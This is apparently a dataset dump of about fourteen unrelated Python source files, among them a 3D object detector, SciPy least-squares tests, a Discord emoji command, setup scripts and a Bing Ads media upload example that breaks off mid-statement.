id
stringlengths
3
8
content
stringlengths
100
981k
67088
from __future__ import absolute_import from __future__ import division from __future__ import print_function import cv2 import numpy as np from progress.bar import Bar import time import torch from src.lib.external.nms import soft_nms from src.lib.models.decode import ddd_decode from src.lib.models.utils import flip_tensor from src.lib.utils.image import get_affine_transform from src.lib.utils.post_process import ddd_post_process from src.lib.utils.debugger import Debugger from src.lib.utils.ddd_utils import compute_box_3d, project_to_image, alpha2rot_y from src.lib.utils.ddd_utils import draw_box_3d, unproject_2d_to_3d from .base_detector import BaseDetector class DddDetector(BaseDetector): def __init__(self, opt): super(DddDetector, self).__init__(opt) self.calib = np.array([[707.0493, 0, 604.0814, 45.75831], [0, 707.0493, 180.5066, -0.3454157], [0, 0, 1., 0.004981016]], dtype=np.float32) def pre_process(self, image, scale, calib=None): height, width = image.shape[0:2] inp_height, inp_width = self.opt.input_h, self.opt.input_w c = np.array([width / 2, height / 2], dtype=np.float32) if self.opt.keep_res: s = np.array([inp_width, inp_height], dtype=np.int32) else: s = np.array([width, height], dtype=np.int32) trans_input = get_affine_transform(c, s, 0, [inp_width, inp_height]) resized_image = image #cv2.resize(image, (width, height)) inp_image = cv2.warpAffine( resized_image, trans_input, (inp_width, inp_height), flags=cv2.INTER_LINEAR) inp_image = (inp_image.astype(np.float32) / 255.) inp_image = (inp_image - self.mean) / self.std images = inp_image.transpose(2, 0, 1)[np.newaxis, ...] calib = np.array(calib, dtype=np.float32) if calib is not None \ else self.calib images = torch.from_numpy(images) meta = {'c': c, 's': s, 'out_height': inp_height // self.opt.down_ratio, 'out_width': inp_width // self.opt.down_ratio, 'calib': calib} return images, meta def process(self, images, return_time=False): with torch.no_grad(): torch.cuda.synchronize() output = self.model(images)[-1] output['hm'] = output['hm'].sigmoid_() output['dep'] = 1. / (output['dep'].sigmoid() + 1e-6) - 1. wh = output['wh'] if self.opt.reg_bbox else None reg = output['reg'] if self.opt.reg_offset else None torch.cuda.synchronize() forward_time = time.time() dets = ddd_decode(output['hm'], output['rot'], output['dep'], output['dim'], wh=wh, reg=reg, K=self.opt.K) if return_time: return output, dets, forward_time else: return output, dets def post_process(self, dets, meta, scale=1): dets = dets.detach().cpu().numpy() detections = ddd_post_process( dets.copy(), [meta['c']], [meta['s']], [meta['calib']], self.opt) self.this_calib = meta['calib'] return detections[0] def merge_outputs(self, detections): results = detections[0] for j in range(1, self.num_classes + 1): if len(results[j] > 0): keep_inds = (results[j][:, -1] > self.opt.peak_thresh) results[j] = results[j][keep_inds] return results def debug(self, debugger, images, dets, output, scale=1): dets = dets.detach().cpu().numpy() img = images[0].detach().cpu().numpy().transpose(1, 2, 0) img = ((img * self.std + self.mean) * 255).astype(np.uint8) pred = debugger.gen_colormap(output['hm'][0].detach().cpu().numpy()) debugger.add_blend_img(img, pred, 'pred_hm') debugger.add_ct_detection( img, dets[0], show_box=self.opt.reg_bbox, center_thresh=self.opt.vis_thresh, img_id='det_pred') def show_results(self, debugger, image, results): debugger.add_3d_detection( image, results, self.this_calib, center_thresh=self.opt.vis_thresh, img_id='add_pred') debugger.add_bird_view( results, center_thresh=self.opt.vis_thresh, img_id='bird_pred') debugger.show_all_imgs(pause=self.pause)
67159
import unittest from onnx import helper from onnx import onnx_pb as onnx_proto from onnxconverter_common.decast import decast class DecastTestCase(unittest.TestCase): def test_decast(self): nodes = [] nodes[0:] = [helper.make_node('Identity', ['input1'], ['identity1'])] nodes[1:] = [helper.make_node('Cast', ['identity1'], ['cast0'], to=1)] nodes[2:] = [helper.make_node('ReduceSum', ['cast0'], ['reduce0'])] nodes[3:] = [helper.make_node('Cast', ['reduce0'], ['cast1'], to=6)] nodes[4:] = [helper.make_node('Identity', ['cast1'], ['output0'])] input0 = helper.make_tensor_value_info('input1', onnx_proto.TensorProto.FLOAT, [1, 1, 2, 3]) output0 = helper.make_tensor_value_info('output0', onnx_proto.TensorProto.FLOAT, [1, 1, 2, 3]) graph = helper.make_graph(nodes, 'test_graph', [input0], [output0]) model = helper.make_model(graph) self.assertIsNotNone(model) converted_model = decast(model, ['ReduceSum']) self.assertTrue(len(converted_model.graph.node) == 3) if __name__ == '__main__': unittest.main()
67162
from __future__ import print_function import os def log_check_call(command, stdin=None, env=None, shell=False, cwd=None): status, stdout, stderr = log_call(command, stdin, env, shell, cwd) from subprocess import CalledProcessError if status != 0: e = CalledProcessError(status, ' '.join(command), '\n'.join(stderr)) # Fix Pyro4's fixIronPythonExceptionForPickle() by setting the args property, # even though we use our own serialization (at least I think that's the problem). # See bootstrapvz.remote.serialize_called_process_error for more info. setattr(e, 'args', (status, ' '.join(command), '\n'.join(stderr))) raise e return stdout def log_call(command, stdin=None, env=None, shell=False, cwd=None): import subprocess import logging from multiprocessing.dummy import Pool as ThreadPool from os.path import realpath command_log = realpath(command[0]).replace('/', '.') log = logging.getLogger(__name__ + command_log) if isinstance(command, list): log.debug('Executing: {command}'.format(command=' '.join(command))) else: log.debug('Executing: {command}'.format(command=command)) process = subprocess.Popen(args=command, env=env, shell=shell, cwd=cwd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) if stdin is not None: log.debug(' stdin: ' + stdin) process.stdin.write(stdin + "\n") process.stdin.flush() process.stdin.close() stdout = [] stderr = [] def handle_stdout(line): log.debug(line) stdout.append(line) def handle_stderr(line): log.error(line) stderr.append(line) handlers = {process.stdout: handle_stdout, process.stderr: handle_stderr} def stream_readline(stream): for line in iter(stream.readline, ''): handlers[stream](line.strip()) pool = ThreadPool(2) pool.map(stream_readline, [process.stdout, process.stderr]) pool.close() pool.join() process.wait() return process.returncode, stdout, stderr def sed_i(file_path, pattern, subst, expected_replacements=1): replacement_count = inline_replace(file_path, pattern, subst) if replacement_count != expected_replacements: from .exceptions import UnexpectedNumMatchesError msg = ('There were {real} instead of {expected} matches for ' 'the expression `{exp}\' in the file `{path}\'' .format(real=replacement_count, expected=expected_replacements, exp=pattern, path=file_path)) raise UnexpectedNumMatchesError(msg) def inline_replace(file_path, pattern, subst): import fileinput import re replacement_count = 0 for line in fileinput.input(files=file_path, inplace=True): (replacement, count) = re.subn(pattern, subst, line) replacement_count += count print(replacement, end='') return replacement_count def load_json(path): import json from json_minify import json_minify with open(path) as stream: return json.loads(json_minify(stream.read(), False)) def load_yaml(path): import yaml with open(path, 'r') as stream: return yaml.safe_load(stream) def load_data(path): filename, extension = os.path.splitext(path) if not os.path.isfile(path): raise Exception('The path {path} does not point to a file.'.format(path=path)) if extension == '.json': return load_json(path) elif extension == '.yml' or extension == '.yaml': return load_yaml(path) else: raise Exception('Unrecognized extension: {ext}'.format(ext=extension)) def config_get(path, config_path): config = load_data(path) for key in config_path: config = config.get(key) return config def copy_tree(from_path, to_path): from shutil import copy for abs_prefix, dirs, files in os.walk(from_path): prefix = os.path.normpath(os.path.relpath(abs_prefix, from_path)) for path in dirs: full_path = os.path.join(to_path, prefix, path) if os.path.exists(full_path): if os.path.isdir(full_path): continue else: os.remove(full_path) os.mkdir(full_path) for path in files: copy(os.path.join(abs_prefix, path), os.path.join(to_path, prefix, path)) def rel_path(base, path): return os.path.normpath(os.path.join(os.path.dirname(base), path))
67175
import csv from corpus_util import add_word_continuation_tags def get_tag_data_from_corpus_file(f): """Loads from file into four lists of lists of strings of equal length: one for utterance iDs (IDs)) one for words (seq), one for pos (pos_seq) one for tags (targets).""" f = open(f) print "loading data", f.name count_seq = 0 IDs = [] seq = [] pos_seq = [] targets = [] mappings = [] reader = csv.reader(f, delimiter='\t') counter = 0 utt_reference = "" currentWords = [] currentPOS = [] currentTags = [] currentMappings = [] # corpus = "" # can write to file for ref, map, word, postag, disftag in reader: # mixture of POS and Words counter += 1 if not ref == "": if count_seq > 0: # do not reset the first time # convert to the inc tags # corpus+=utt_reference #write data to a file for checking # convert to vectors seq.append(tuple(currentWords)) pos_seq.append(tuple(currentPOS)) targets.append(tuple(add_word_continuation_tags(currentTags))) IDs.append(utt_reference) mappings.append(tuple(currentMappings)) # reset the words currentWords = [] currentPOS = [] currentTags = [] currentMappings = [] # set the utterance reference count_seq += 1 utt_reference = ref currentWords.append(word) currentPOS.append(postag) currentTags.append(disftag) currentMappings.append(map) # flush if not currentWords == []: seq.append(tuple(currentWords)) pos_seq.append(tuple(currentPOS)) targets.append(tuple(add_word_continuation_tags(currentTags))) IDs.append(utt_reference) mappings.append(tuple(currentMappings)) assert len(seq) == len(targets) == len(pos_seq) print "loaded " + str(len(seq)) + " sequences" f.close() return (IDs, mappings, seq, pos_seq, targets) def sort_into_dialogue_speakers(IDs, mappings, utts, pos_tags=None, labels=None): """For each utterance, given its ID get its conversation number and dialogue participant in the format needed for word alignment files. Returns a list of tuples: (speaker, mappings, utts, pos, labels) """ dialogue_speaker_dict = dict() # keys are speaker IDs of filename:speaker # vals are tuples of (mappings, utts, pos_tags, labels) current_speaker = "" for ID, mapping, utt, pos, label in zip(IDs, mappings, utts, pos_tags, labels): split = ID.split(":") dialogue = split[0] speaker = split[1] # uttID = split[2] current_speaker = "-".join([dialogue, speaker]) if current_speaker not in dialogue_speaker_dict.keys(): dialogue_speaker_dict[current_speaker] = [[], [], [], []] dialogue_speaker_dict[current_speaker][0].extend(list(mapping)) dialogue_speaker_dict[current_speaker][1].extend(list(utt)) dialogue_speaker_dict[current_speaker][2].extend(list(pos)) dialogue_speaker_dict[current_speaker][3].extend(list(label)) # turn into 5-tuples dialogue_speakers = [(key, dialogue_speaker_dict[key][0], dialogue_speaker_dict[key][1], dialogue_speaker_dict[key][2], dialogue_speaker_dict[key][3]) for key in sorted(dialogue_speaker_dict.keys())] return dialogue_speakers def write_corpus_file_add_fake_timings_and_utt_tags(f, target_path, verbose=False): target_file = open(target_path, "w") IDs, mappings, utts, pos_tags, labels = get_tag_data_from_corpus_file(f) dialogue_speakers = sort_into_dialogue_speakers(IDs, mappings, utts, pos_tags, labels) for speaker_name, mapping, utt, pos, label in dialogue_speakers: if verbose: print "*" * 30 print speaker_name print mapping print utt print pos print label y = raw_input() if y == "y": quit() target_file.write("Speaker: " + speaker_name + "\n") starts = range(0, len(label)) ends = range(1, len(label)+1) for m, s, e, w, p, l in zip(mapping, starts, ends, utt, pos, label): l = "\t".join([m, str(float(s)), str(float(e)), w, p, l]) target_file.write(l + "\n") target_file.write("\n") target_file.close() if __name__ == "__main__": #f = "../../../stir/python/data/bnc_spoken/BNC-CH_partial_data.csv" #write_corpus_file_add_fake_timings_and_utt_tags( # f, f.replace("_data", "_data_timings")) f = "../../../stir/python/data/pcc/PCC_test_partial_data.csv" write_corpus_file_add_fake_timings_and_utt_tags( f, f.replace("_data", "_data_timings")) if False: f = "../../../stir/python/data/pcc/PCC_test_partial_data_old.csv" target = open(f.replace("_data_old", "_data"), "w") f = open(f) reader = csv.reader(f, delimiter='\t') for ref, map, word, postag, disftag in reader: # mixture of POS and Words if not ref == "": spl = ref.split(":") n_ref = ":".join([spl[0], spl[2], spl[1]]) target.write("\t".join([n_ref, map, word, postag, disftag]) + "\n") else: target.write("\t".join([ref, map, word, postag, disftag]) + "\n") target.close()
67179
from itertools import product import torch from dgmc.models import GIN def test_gin(): model = GIN(16, 32, num_layers=2, batch_norm=True, cat=True, lin=True) assert model.__repr__() == ('GIN(16, 32, num_layers=2, batch_norm=True, ' 'cat=True, lin=True)') x = torch.randn(100, 16) edge_index = torch.randint(100, (2, 400), dtype=torch.long) for cat, lin in product([False, True], [False, True]): model = GIN(16, 32, 2, True, cat, lin) out = model(x, edge_index) assert out.size() == (100, 16 + 2 * 32 if not lin and cat else 32) assert out.size() == (100, model.out_channels)
67226
import json import mgp import os from kafka import KafkaProducer KAFKA_IP = os.getenv('KAFKA_IP', 'kafka') KAFKA_PORT = os.getenv('KAFKA_PORT', '9092') @mgp.read_proc def create(created_objects: mgp.Any ) -> mgp.Record(): created_objects_info = {'vertices': [], 'edges': []} for obj in created_objects: if obj['event_type'] == 'created_vertex': created_object = { 'id': obj['vertex'].id, 'labels': [label.name for label in obj['vertex'].labels], } if obj['vertex'].labels[0].name == "SUBMISSION": created_object.update({ 'sentiment': obj['vertex'].properties['sentiment'], 'title': obj['vertex'].properties['title'], }) elif obj['vertex'].labels[0].name == "COMMENT": created_object.update({ 'sentiment': obj['vertex'].properties['sentiment'], 'body': obj['vertex'].properties['body'], }) else: created_object.update({ 'name': obj['vertex'].properties['name'], }) created_objects_info['vertices'].append(created_object) else: created_objects_info['edges'].append({ 'id': obj['edge'].id, 'type': obj['edge'].type.name, 'from': obj['edge'].from_vertex.id, 'to': obj['edge'].to_vertex.id }) kafka_producer = KafkaProducer(bootstrap_servers=KAFKA_IP + ':' + KAFKA_PORT) kafka_producer.send('created_objects', json.dumps( created_objects_info).encode('utf8')) return None
67257
from spaceone.core.service.utils import * from spaceone.core.service.service import * __all__ = ['BaseService', 'transaction', 'authentication_handler', 'authorization_handler', 'mutation_handler', 'event_handler', 'check_required', 'append_query_filter', 'change_tag_filter', 'change_timestamp_value', 'change_timestamp_filter', 'change_date_value', 'append_keyword_filter', 'change_only_key']
67282
import fnmatch import os import platform import subprocess import sys import logging from distutils.version import LooseVersion from setuptools import setup, Extension log = logging.getLogger(__name__) ch = logging.StreamHandler() log.addHandler(ch) MIN_GEOS_VERSION = "3.5" if "all" in sys.warnoptions: # show GEOS messages in console with: python -W all log.setLevel(logging.DEBUG) def get_geos_config(option): """Get configuration option from the `geos-config` development utility The PATH environment variable should include the path where geos-config is located. """ try: stdout, stderr = subprocess.Popen( ["geos-config", option], stdout=subprocess.PIPE, stderr=subprocess.PIPE ).communicate() except OSError: return if stderr and not stdout: log.warning("geos-config %s returned '%s'", option, stderr.decode().strip()) return result = stdout.decode().strip() log.debug("geos-config %s returned '%s'", option, result) return result def get_geos_paths(): """Obtain the paths for compiling and linking with the GEOS C-API First the presence of the GEOS_INCLUDE_PATH and GEOS_LIBRARY_PATH environment variables is checked. If they are both present, these are taken. If one of the two paths was not present, geos-config is called (it should be on the PATH variable). geos-config provides all the paths. If geos-config was not found, no additional paths are provided to the extension. It is still possible to compile in this case using custom arguments to setup.py. """ include_dir = os.environ.get("GEOS_INCLUDE_PATH") library_dir = os.environ.get("GEOS_LIBRARY_PATH") if include_dir and library_dir: return { "include_dirs": [include_dir], "library_dirs": [library_dir], "libraries": ["geos_c"], } geos_version = get_geos_config("--version") if not geos_version: log.warning( "Could not find geos-config executable. Either append the path to geos-config" " to PATH or manually provide the include_dirs, library_dirs, libraries and " "other link args for compiling against a GEOS version >=%s.", MIN_GEOS_VERSION, ) return {} if LooseVersion(geos_version) < LooseVersion(MIN_GEOS_VERSION): raise ImportError( "GEOS version should be >={}, found {}".format( MIN_GEOS_VERSION, geos_version ) ) libraries = [] library_dirs = [] include_dirs = [] extra_link_args = [] for item in get_geos_config("--cflags").split(): if item.startswith("-I"): include_dirs.extend(item[2:].split(":")) for item in get_geos_config("--clibs").split(): if item.startswith("-L"): library_dirs.extend(item[2:].split(":")) elif item.startswith("-l"): libraries.append(item[2:]) else: extra_link_args.append(item) return { "include_dirs": include_dirs, "library_dirs": library_dirs, "libraries": libraries, "extra_link_args": extra_link_args, } class PyBind11Include: def __str__(self): import pybind11 return pybind11.get_include() geos_paths = get_geos_paths() sources = ['pymeos/source/pybind.cpp'] for root, dirnames, filenames in os.walk('./source'): for filename in fnmatch.filter(filenames, '*.cpp'): sources.append(os.path.join(root, filename)) include_dirs = ['include', 'pymeos/include', PyBind11Include()] + geos_paths.get("include_dirs", []) library_dirs = geos_paths.get("library_dirs", []) libraries = geos_paths.get("libraries", []) extra_compile_args = [] if platform.system() == "Windows": extra_compile_args.append('/std:c++14') else: extra_compile_args.append('-std=c++14') extra_compile_args.append('-g0') extra_link_args = geos_paths.get("extra_link_args", []) setup( ext_modules=[ Extension( '_pymeos', sources, include_dirs=include_dirs, library_dirs=library_dirs, libraries=libraries, extra_compile_args=extra_compile_args, extra_link_args=extra_link_args, language='c++', ), ], )
67302
import setuptools with open("README.md", "r") as fh: long_description = fh.read() setuptools.setup( name="coderunner", version="1.0", license="MIT", author="<NAME>", author_email="<EMAIL>", description="A judge for your programs, run and test your programs using python", keywords="judge0 coderunner judge0api codeclassroom", long_description=long_description, long_description_content_type="text/markdown", url="https://codeclassroom.github.io/CodeRunner/", project_urls={ "Documentation": "https://coderunner.readthedocs.io/en/latest/", "Source Code": "https://github.com/codeclassroom/CodeRunner", "Funding": "https://www.patreon.com/bePatron?u=18082750", "Say Thanks!": "https://github.com/codeclassroom/CodeRunner/issues/new?assignees=&labels=&template=---say-thank-you.md&title=", "Tracker": "https://github.com/codeclassroom/CodeRunner/issues", }, packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3 :: Only", "License :: OSI Approved :: MIT License", "Topic :: Education", "Topic :: Education", "Topic :: Software Development", "Topic :: Software Development :: Libraries", "Topic :: Software Development :: Libraries :: Python Modules", "Operating System :: OS Independent", ], python_requires=">=3.6", )
67303
from objects.modulebase import ModuleBase from objects.permissions import PermissionEmbedLinks, PermissionAttachFiles from io import BytesIO from discord import Embed, Colour, File from constants import ID_REGEX, EMOJI_REGEX EMOJI_ENDPOINT = 'https://cdn.discordapp.com/emojis/{}' TWEMOJI_ENDPOINT = 'https://bot.mods.nyc/twemoji/{}.png' class Module(ModuleBase): usage_doc = '{prefix}{aliases} <emoji>' short_doc = 'Allows to get emoji image' name = 'emoji' aliases = (name, 'e') category = 'Discord' min_args = 1 max_args = 1 bot_perms = (PermissionEmbedLinks(), PermissionAttachFiles()) async def on_call(self, ctx, args, **flags): e = Embed(colour=Colour.gold()) f = None text = args[1:] emoji_id = None emoji_name = '' id_match = ID_REGEX.fullmatch(text) if id_match: emoji_id = int(id_match.group(0)) else: emoji_match = EMOJI_REGEX.fullmatch(text) if emoji_match: groups = emoji_match.groupdict() emoji_id = int(groups['id']) emoji_name = groups['name'] if emoji_id is None: # thanks discord for this nonsense text = text.rstrip("\N{VARIATION SELECTOR-16}") code = '-'.join(map(lambda c: f'{ord(c):x}', text)) async with self.bot.sess.get(TWEMOJI_ENDPOINT.format(code)) as r: if r.status != 200: return await ctx.warn('Could not get emoji from input text') filename = 'emoji.png' f = File(BytesIO(await r.read()), filename=filename) e.title = f'TWEmoji' e.set_image(url=f'attachment://{filename}') else: e.set_footer(text=emoji_id) emoji = self.bot.get_emoji(emoji_id) if emoji is None: async with self.bot.sess.get(EMOJI_ENDPOINT.format(emoji_id)) as r: if r.status != 200: return await ctx.error('Emoji with given id not found') filename = f'emoji.{r.content_type[6:]}' f = File(BytesIO(await r.read()), filename=filename) e.title = f'Emoji {emoji_name or ""}' e.set_image(url=f'attachment://{filename}') else: e.title = f'Emoji {emoji.name}' e.set_image(url=emoji.url) await ctx.send(embed=e, file=f)
67311
import os import random import itertools vector_template = '''static uint64_t {}[{}] = {{ {} }}; ''' max_u64 = 0xffffffffffffffff max_u64_str = str(hex(max_u64)) def get_random_u64 (size): return '0x' + (os.urandom(size).hex() if size != 0 else '0') def print_vectors (name, l): return vector_template.format(name, str(len(l)), ',\n '.join(l)) def main(): edge_cases = itertools.product( ['0x0', max_u64_str], ['0x0', max_u64_str], ['0x0', '0x1']) # (size of a, size of b, number of vectors to generate) configs = [(0,1,10), (1,1,10), (2,2,10), (2,3,10), (3,4,10), (4,4,10), (5,4,10), (4,5,10), (6,6,10), (7,7,10), (8,8,20)] a_vectors = [] b_vectors = [] cin_vectors = [] addcarry_res_vectors = [] addcarry_cout_vectors = [] subborrow_res_vectors = [] subborrow_cout_vectors = [] def compute_vector(a, b, cin): a_vectors.append(a) b_vectors.append(b) cin_vectors.append(cin) addition = int(a, 16) + int(b, 16) + int(cin, 16) cout = addition // (max_u64 + 1) res = addition % (max_u64 + 1) res = max_u64 if res < 0 else res addcarry_res_vectors.append(hex(res)) addcarry_cout_vectors.append(hex(cout)) subtraction = int(a, 16) - int(b, 16) - int(cin, 16) if subtraction >= 0: res = subtraction cout = 0 else: res = max_u64 + subtraction + 1 cout = 1 subborrow_res_vectors.append(hex(res)) subborrow_cout_vectors.append(hex(cout)) for c in edge_cases: compute_vector(*c) for c in configs: for i in range(c[2]): a = get_random_u64(c[0]) b = get_random_u64(c[1]) cin = '0x' + str(random.randint(0,1)) compute_vector(a, b, cin) with open('uint128-intrinsics_vectors.h', 'w') as f: f.write('static uint32_t num_vectors = {};\n\n'.format(len(a_vectors))) f.write(print_vectors('a_vectors', a_vectors)) f.write(print_vectors('b_vectors', b_vectors)) f.write(print_vectors('cin_vectors', cin_vectors)) f.write(print_vectors('addcarry_res_vectors', addcarry_res_vectors)) f.write(print_vectors('addcarry_cout_vectors', addcarry_cout_vectors)) f.write(print_vectors('subborrow_res_vectors', subborrow_res_vectors)) f.write(print_vectors('subborrow_cout_vectors', subborrow_cout_vectors)) main ()
67333
import tensorflow as tf from neupy import layers from neupy.utils import tf_utils, as_tuple from neupy.layers.base import BaseGraph __all__ = ('mixture_of_experts',) def check_if_network_is_valid(network, index): if not isinstance(network, BaseGraph): raise TypeError( "Invalid input, Mixture of experts expects networks/layers" "in the list of networks, got `{}` instance instead" "".format(type(network))) if len(network.input_layers) > 1: raise ValueError( "Each network from the mixture of experts has to process single " "input tensor. Network #{} (0-based indices) has more than one " "input layer. Input layers: {}" "".format(index, network.output_layers)) if len(network.output_layers) > 1: raise ValueError( "Each network from the mixture of experts has to output single " "tensor. Network #{} (0-based indices) has more than one output " "layer. Output layers: {}".format(index, network.output_layers)) if network.input_shape.ndims != 2: raise ValueError( "Each network from the mixture of experts has to process " "only 2-dimensional inputs. Network #{} (0-based indices) " "processes only {}-dimensional inputs. Input layer's shape: {}" "".format(index, network.input_shape.ndims, network.input_shape)) def check_if_networks_compatible(networks): input_shapes = [] output_shapes = [] for i, network in enumerate(networks): input_shapes.append(network.input_shape) output_shapes.append(network.output_shape) for shape in input_shapes: if not shape.is_compatible_with(input_shapes[0]): raise ValueError( "Networks have incompatible input shapes. Shapes: {}" "".format(tf_utils.shape_to_tuple(input_shapes))) for shape in output_shapes: if not shape.is_compatible_with(output_shapes[0]): raise ValueError( "Networks have incompatible output shapes. Shapes: {}" "".format(tf_utils.shape_to_tuple(output_shapes))) def mixture_of_experts(networks, gating_layer=None): """ Generates mixture of experts architecture from the set of networks that has the same input and output shapes. Mixture of experts learns to how to mix results from different networks in order to get better performances. It adds gating layer that using input data tries to figure out which of the networks will make better contribution to the final result. The final result mixes from all networks using different weights. The higher the weight the larger contribution from the individual layer. Parameters ---------- networks : list of networks/layers gating_layer : None or layer In case if value equal to `None` that the following layer will be created. .. code-block:: python gating_layer = layers.Softmax(len(networks)) Output from the gating layer should be 1D and equal to the number of networks. Raises ------ ValueError In case if there is some problem with input networks or custom gating layer. Returns ------- network Mixture of experts network that combine all networks into single one and adds gating layer to it. Examples -------- >>> from neupy import algorithms, architectures >>> from neupy.layers import * >>> >>> network = architectures.mixture_of_experts([ ... join( ... Input(10), ... Relu(5), ... ), ... join( ... Input(10), ... Relu(33), ... Relu(5), ... ), ... join( ... Input(10), ... Relu(12), ... Relu(25), ... Relu(5), ... ), ... ]) >>> network (?, 10) -> [... 12 layers ...] -> (?, 5) >>> >>> optimizer = algorithms.Momentum(network, step=0.1) """ if not isinstance(networks, (list, tuple)): raise ValueError("Networks should be specified as a list") for index, network in enumerate(networks): check_if_network_is_valid(network, index) check_if_networks_compatible(networks) input_shape = tf.TensorShape(None) for network in networks: input_shape = input_shape.merge_with(network.input_shape) n_layers_to_combine = len(networks) n_features = input_shape[1].value if n_features is None: raise ValueError( "Cannot create mixture of experts model, because " "number of input features is unknown") if gating_layer is None: gating_layer = layers.Softmax(n_layers_to_combine) if not isinstance(gating_layer, layers.BaseLayer): raise ValueError( "Invalid type for gating layer. Type: {}" "".format(type(gating_layer))) return layers.join( layers.Input(n_features), # Note: Gating network should be specified # as a first parameter. layers.parallel(*as_tuple(gating_layer, networks)), layers.GatedAverage(), )
67356
import numpy as np from numpy.linalg import lstsq from numpy.testing import (assert_allclose, assert_equal, assert_, run_module_suite, assert_raises) from scipy.sparse import rand from scipy.sparse.linalg import aslinearoperator from scipy.optimize import lsq_linear A = np.array([ [0.171, -0.057], [-0.049, -0.248], [-0.166, 0.054], ]) b = np.array([0.074, 1.014, -0.383]) class BaseMixin(object): def __init__(self): self.rnd = np.random.RandomState(0) def test_dense_no_bounds(self): for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, lstsq(A, b)[0]) def test_dense_bounds(self): # Solutions for comparison are taken from MATLAB. lb = np.array([-1, -10]) ub = np.array([1, 0]) for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (lb, ub), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, lstsq(A, b)[0]) lb = np.array([0.0, -np.inf]) for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (lb, np.inf), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, np.array([0.0, -4.084174437334673]), atol=1e-6) lb = np.array([-1, 0]) for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (lb, np.inf), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, np.array([0.448427311733504, 0]), atol=1e-15) ub = np.array([np.inf, -5]) for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (-np.inf, ub), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, np.array([-0.105560998682388, -5])) ub = np.array([-1, np.inf]) for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (-np.inf, ub), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, np.array([-1, -4.181102129483254])) lb = np.array([0, -4]) ub = np.array([1, 0]) for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (lb, ub), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, np.array([0.005236663400791, -4])) def test_dense_rank_deficient(self): A = np.array([[-0.307, -0.184]]) b = np.array([0.773]) lb = [-0.1, -0.1] ub = [0.1, 0.1] for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (lb, ub), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.x, [-0.1, -0.1]) A = np.array([ [0.334, 0.668], [-0.516, -1.032], [0.192, 0.384], ]) b = np.array([-1.436, 0.135, 0.909]) lb = [0, -1] ub = [1, -0.5] for lsq_solver in self.lsq_solvers: res = lsq_linear(A, b, (lb, ub), method=self.method, lsq_solver=lsq_solver) assert_allclose(res.optimality, 0, atol=1e-11) def test_full_result(self): lb = np.array([0, -4]) ub = np.array([1, 0]) res = lsq_linear(A, b, (lb, ub), method=self.method) assert_allclose(res.x, [0.005236663400791, -4]) r = A.dot(res.x) - b assert_allclose(res.cost, 0.5 * np.dot(r, r)) assert_allclose(res.fun, r) assert_allclose(res.optimality, 0.0, atol=1e-12) assert_equal(res.active_mask, [0, -1]) assert_(res.nit < 15) assert_(res.status == 1 or res.status == 3) assert_(isinstance(res.message, str)) assert_(res.success) class SparseMixin(object): def test_sparse_and_LinearOperator(self): m = 5000 n = 1000 A = rand(m, n, random_state=0) b = self.rnd.randn(m) res = lsq_linear(A, b) assert_allclose(res.optimality, 0, atol=1e-6) A = aslinearoperator(A) res = lsq_linear(A, b) assert_allclose(res.optimality, 0, atol=1e-6) def test_sparse_bounds(self): m = 5000 n = 1000 A = rand(m, n, random_state=0) b = self.rnd.randn(m) lb = self.rnd.randn(n) ub = lb + 1 res = lsq_linear(A, b, (lb, ub)) assert_allclose(res.optimality, 0.0, atol=1e-8) res = lsq_linear(A, b, (lb, ub), lsmr_tol=1e-13) assert_allclose(res.optimality, 0.0, atol=1e-8) res = lsq_linear(A, b, (lb, ub), lsmr_tol='auto') assert_allclose(res.optimality, 0.0, atol=1e-8) class TestTRF(BaseMixin, SparseMixin): method = 'trf' lsq_solvers = ['exact', 'lsmr'] class TestBVLS(BaseMixin): method = 'bvls' lsq_solvers = ['exact'] if __name__ == '__main__': run_module_suite()
67361
import base64 from auth_helper import * from campaignmanagement_example_helper import * # You must provide credentials in auth_helper.py. # To run this example you'll need to provide your own images. # For required aspect ratios and recommended dimensions please see # Image remarks at https://go.microsoft.com/fwlink/?linkid=872754. MEDIA_FILE_PATH = "c:\dev\media\\" RESPONSIVE_AD_MEDIA_FILE_NAME = "imageresponsivead1200x628.png" IMAGE_AD_EXTENSION_MEDIA_FILE_NAME = "imageadextension300x200.png" def main(authorization_data): try: responsive_ad_image_media = get_image_media( "Image191x100", MEDIA_FILE_PATH + RESPONSIVE_AD_MEDIA_FILE_NAME) image_ad_extension_media = get_image_media( "Image15x10", MEDIA_FILE_PATH + IMAGE_AD_EXTENSION_MEDIA_FILE_NAME) add_media = { 'Media': [ responsive_ad_image_media, image_ad_extension_media ] } output_status_message("Ready to upload image media:") output_array_of_media(add_media) output_status_message("-----\nAddMedia:") media_ids = campaign_service.AddMedia( AccountId=authorization_data.account_id, Media=add_media) output_status_message("MediaIds:") output_array_of_long(media_ids) # Get the media representations to confirm the stored dimensions # and get the Url where you can later view or download the media. output_status_message("-----\nGetMediaMetaDataByAccountId:") get_responsive_ad_mediametadata = campaign_service.GetMediaMetaDataByAccountId( MediaEnabledEntities='ResponsiveAd', PageInfo=None) output_status_message("MediaMetaData:") output_array_of_mediametadata(get_responsive_ad_mediametadata) output_status_message("-----\nGetMediaMetaDataByAccountId:") get_image_ad_extension_mediametadata = campaign_service.GetMediaMetaDataByAccountId( MediaEnabledEntities='ImageAdExtension', PageInfo=None) output_status_message("MediaMetaData:") output_array_of_mediametadata(get_image_ad_extension_mediametadata) output_status_message("-----\nGetMediaMetaDataByIds:") get_mediametadata = 